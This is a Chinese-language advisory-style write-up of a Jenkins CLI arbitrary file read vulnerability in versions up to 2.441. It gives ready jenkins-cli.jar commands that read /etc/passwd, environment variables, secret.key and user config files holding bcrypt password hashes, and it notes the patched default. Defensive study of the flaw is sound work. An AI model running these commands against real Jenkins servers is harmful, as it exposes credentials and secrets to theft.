受影响版本

Jenkins<=2.441

Jenkins LTS<=2.426.2

漏洞预警

利用jenkins-cli.jar

此漏洞需要使用到jenkins-cli.jar。读者可以从任意Jenkins网页地址下载：http://jenkins:8080//jnlpJars/jenkins-cli.jar

1.当Jenkins关闭了“允许匿名用户读取”权限时

大部分的命令无法调用，只有help和who-am-i命令可以被调用，且只能读取到目标文件的前几行

这个功能在后台的“Manage Jenkins” -> “Security” 中管理员可以将其开启或关闭，默认是关闭的。实际测试中，如果我们访问Jenkins首页，发现强制跳转到登录页面，就说明关闭了“允许匿名用户读取”功能。

使用help命令可以查看主机/etc/passwd文件的前2行

java -jar jenkins-cli.jar -s http://target-ip:8080/ help "@/etc/passwd"

此命令可以检测系统是否存在该漏洞。

使用以下命令可以读取目标服务器的/proc/self/environ文件，找到Jenkins的基础目录

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/proc/self/environ"

发现JENKINS_HOME=/bitnami/jenkins/home，然后，可在该目录下读取敏感文件，如secrets.key or master.key（匿名情况下，只能通过命令行的报错读取文件的第一行）：

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/bitnami/jenkins/home/secret.key"

除此之外，当Jenkins关闭了“允许匿名用户读取”功能时，其他大部分命令无法调用，会出现"ERROR: anonymous is missing the Overall/Read permission"的错误：

2.当Jenkins开启了“允许匿名用户读取”权限时

大部分命令都可以被调用，其中包括connect-node命令和reload-job命令，这2个命令可以用来读取文件全部内容

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/etc/passwd"

利用Jenkins的根目录/bitnami/jenkins/home，我们就可以来尝试读取以下敏感文件。

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/users.xml"

可以获取用户列表和每个用户信息所在的文件目录。

发现用户用户user所在目录user_5849473456249988042，可以读取这个目录下的config文件：/bitnami/jenkins/home/users/user_5849473456249988042/config.xml

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/user_5849473456249988042/config.xml"

可以发现用户的用户密码，使用JBCript哈希编码，#jbcrypt:$2a$10$bHLwkXlSPNe/yChANCHkS.hpRO//lKmvHiI59VUKs5ajx3huSG5DW，用户种子等。

对于bcrypt算法加密的hash值，一般只能暴力破解来获取明文。

在新版本中，jenkins默认关闭了ALLOW_AT_SYNTAX参数。